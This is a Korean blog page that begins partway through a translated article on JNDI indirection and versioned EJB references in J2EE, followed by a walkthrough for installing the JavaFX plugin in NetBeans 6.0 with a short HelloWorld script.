로컬 리소스 ref 이름 (jdbc/mydatasource)은 java:DefaultDS라는 글로벌 리소스로 매핑되어야 한다는 것을 나타내고 있다. 글로벌 리소스 이름이 변경되면 애플리케이션 코드는 변하지 않는다. 단 이 매핑만 그렇다. 여기에는 두 가지 레벨의 인다이렉션이 있다. 하나는 리소스를 정의하고 이름을 짓는 것이고 (java:DefaultDS), 다른 하나는 로컬 컴포넌트 스팩의 이름 (jdbc/mydatasource) 을 이름이 지어진 리소스에 바인딩하는 것이다. (사실, EAR 레벨에서 리소스들을 매핑할 수 있듯이 인다이렉션의 3 번째 레벨에도 가능하다.)






과거의 DataSource 옮기기

물론 J2EE의 리소스들은 JDBC 데이터 소스에 제한되지 않는다. 여러 유형의 레퍼런스들이 있다. 리소스 레퍼런스, 환경 엔트리, EJB 레퍼런스 등이 그것이다. 특히 EJB 레퍼런스들은 J2EE의 JNDI에 대한 또 다른 중요한 역할이 있다. 다른 애플리케이션 컴포넌트 찾기이다.

한 회사가 전개 가능한 EJB 컴포넌트를 구입하여 Order Ontology Processing Services (OOPS) 에서 고객 주문들을 처리할 때 어떤 일이 발생하는지 생각해보자. 이 예제에서는 ProcessOrders V1.0이라고 칭하겠다. ProcessOrders 1.0은 두 조각들로 나타난다: 인터페이스와 지원 클래스 세트(홈 인터페이스 및 원격 인터페이스와 전속 객체 지원), 그리고 실제 EJB 컴포넌트들. OOPS는 이 분야의 전문이기 때문에 선택되었다.

이 회사는 J2EE 스팩을 따라 EJB 레퍼런스를 사용하는 웹 애플리케이션을 작성한다. 전개자는 ProcessOrders 1.0을 JNDI 트리로 ejb/ProcessOrders/1.0로서 바인딩하고 웹 애플리케이션의 리소스 이름이 글로벌 JNDI 이름을 가르키도록 한다. 여기까지는 EJB 컴포넌트의 일반적인 사용법이다. 하지만 이 회사의 개발 사이클과 공급자의 개발 사이클 사이의 인터랙션을 고려해보면 상황은 더 복잡해진다. 여기에서도 JNDI가 도움이 될 수 있다.

OOPS가 새 버전인 ProcessOrders V1.1을 발표했다고 가정해보자. 이 새 버전에는 이 회사 내부의 새로운 애플리케이션이 필요로 하는 몇 가지 기능을 갖추었고 EJB 컴포넌트를 위해 비즈니스 인터페이스를 확장한다.

이 회사에게 몇 가지 선택권이 있다. 이 모든 애플리케이션들을 업데이트하여 새로운 버전을 선택하거나, 고유의 애플리케이션을 작성하거나, JNDI의 레퍼런스를 사용하여 다른 애플리케이션에 영향을 주지 않고 각 애플리케이션이 EJB 컴포넌트의 고유 버전을 사용하도록 할 수 있다. 모든 애플리케이션들을 한번에 업데이트하는 것은 관리가 매우 힘들고, 모든 컴포넌트의 전체 회귀 테스트가 필요하며 함수 테스트가 실패했을 때 또 다른 디버깅이 기다리고 있다.

인하우스(in-house) 컴포넌트를 작성하는 것은 종종 불필요한 중복 작업이다. 컴포넌트가 해당 비즈니스 영역에서 전문 기술을 닦은 기업에 의해 작성된다면 주어진 IT shop은 비즈니스 기능을 마스터하기 위해 관리할 것 같지 않다. 특성화된 컴포넌트 공급자도 마찬가지다.

이미 알고 있겠지만 최상의 솔루션은 JNDI를 사용하는 것이다. EJB JNDI 레퍼런스는 JDBC 리소스 레퍼런스들과 매우 비슷하다. 각 레퍼런스의 경우 전개자는 새로운 컴포넌트를 특정 이름 (ejb/ProcessOrders/1.1) 에 있는 글로벌 트리로 바인딩 한다. 그리고 EJB 컴포넌트를 필요로 하는 다른 모든 컴포넌트를 위해 그 컴포넌트용 전개 디스크립터에서 EJB 레퍼런스를 결정한다. 더 오래된 애플리케이션들(1.0V 기반)은 변경 및 재테스트를 할 필요가 없고 구현 시간, 비용, 복잡성도 줄어든다. 서비스가 버저닝되는 환경에서 이것은 강력한 방식이다. 이러한 종류의 설정 관리는 애플리케이션 아키텍쳐의 모든 획득 가능한 컴포넌트들, EJB 컴포넌트에서 JMS 큐 까지 수행된다. 간단한 설정 스트링 또는 다른 객체 들까지도 수행된다. 시간이 지나면서 서비스가 변경할 때 관리 비용도 낮아지고 전개 및 통합의 수고로움도 줄어든다.





결론

모든 프로그래밍 문제는 단 한 개 이상의 추상화(또는 인다이렉션) 레이어로 해결될 수 있다는 오래된 컴퓨터과학 분야의 농담이 있다. J2EE에서, JNDI는 J2EE 애플리케이션들을 하나로 묶는 풀의 역할을 한다. 이것이 엔터프라이즈를 통해 확장성있고 기능이 많으면서 유연한 애플리케이션의 제공을 가능하게 하는 JNDI가 제공하는 인다이렉션이다. 이것이 J2EE가 약속하는 것이고 계획 수립과 앞선 생각이 이 모든 것을 실현할 수 있다. 사실 사람들이 생각하는 것 보다 쉽다.






참고자료


필자소개

Kirk Pepperdine은 JavaPerformanceTuning.com의 CTO(Chief Technical Officer)이다.


dianapolis의 컨설턴트이다. J2EE 아키텍쳐를 전문으로 다루고 있다.



본문 : http://www.ibm.com/developerworks/kr/library/j-jndi/

Tag // JNDI

 Java NetBeans IDE 6.0 을 이용하여  JavaFX Plugin설치후 간단한 스크립트를 작성해보았다..

우선 NetBeans IDE 6.0 (download) 를 다운받는다.

NetBeans IDE 6.0을 설치하기 위해서는 JDK가 설치되어 있어야 한다.

권장하는 버전은 Java SE 6 버전이다. (donwload)

설치가 끝난후 JavaFX Plugin을 설치

1. NetBeans IDE 6.0를 실행한다.

2. Tools > Plugins 메뉴를 클릭.

3. Settings tab을 선택하고 좌측에 NetBeans Beta를 선택한후 우측의 Edit 버튼을 클릭한다.

4. http://updates.netbeans.org/netbeans/updates/6.0/uc/final/beta/catalog.xml.gz
  를 입력한후 OK를 클릭한다.

5. Available Plugins tab을 선택한후 Reload Catalog 버튼을 클릭한다.

6. 검색이 끝난후에 여러개의 플러그인 목록이 나올것이다. JavaFX를 쉽게 알아보기위해
   Search에 'javafx'를 입력한후 엔터를 치면 목록에 javafx관련 플러그인 2개가 보일것이다.

7. 두개의 플러그인의 체크박스를 선택한후 아래의 Install버튼을 클릭한다.

8. Next버튼을 클릭... 동의화면에서 선택... 설치가 끝난후 NetBeans IDE 6.0 재시작
   여부를 묻는다.. 재시작을 한다.

이로써 JavaFX Plugin이 설치되었다...

간단한 스크립트로 테스트..및 맛보기~~

새프로젝트 선택 죽죽죽~~ 나가면..  Main.fx 파일에 아래 소스를 작성한다.

import javafx.ui.*;

class HelloWorldModel
{
    attribute saying : String;
}

var model = HelloWorldModel
{
    saying : "HelloWorld!! JavaFX~~"
};

Frame
{
    title : bind "{model.saying} JavaFX Test"
    width : 200
    height : 50
    content : TextField
    {
        value : bind model.saying
    }
    visible : true
};


프로젝트 선택후 마우스 우클릭하고..'Run Project'를 클릭.. 빌드하고~머하고~시간좀 걸리네.

그러면 작은창하나가 뜬다..  텍스트 필드에 마우스를 대고 쓰고싶은 말을 슈슉 쓴다..

엔터를 치면~~~ 타이틀이 '입력한 텍스트 + JavaFX Test' 로 바뀐다...

음.. 나름 조금은 신기하군..ㅋㅋ

참고사이트 : http://java.sun.com/javafx/script/
Tag // IDE, JAVAFX, NetBeans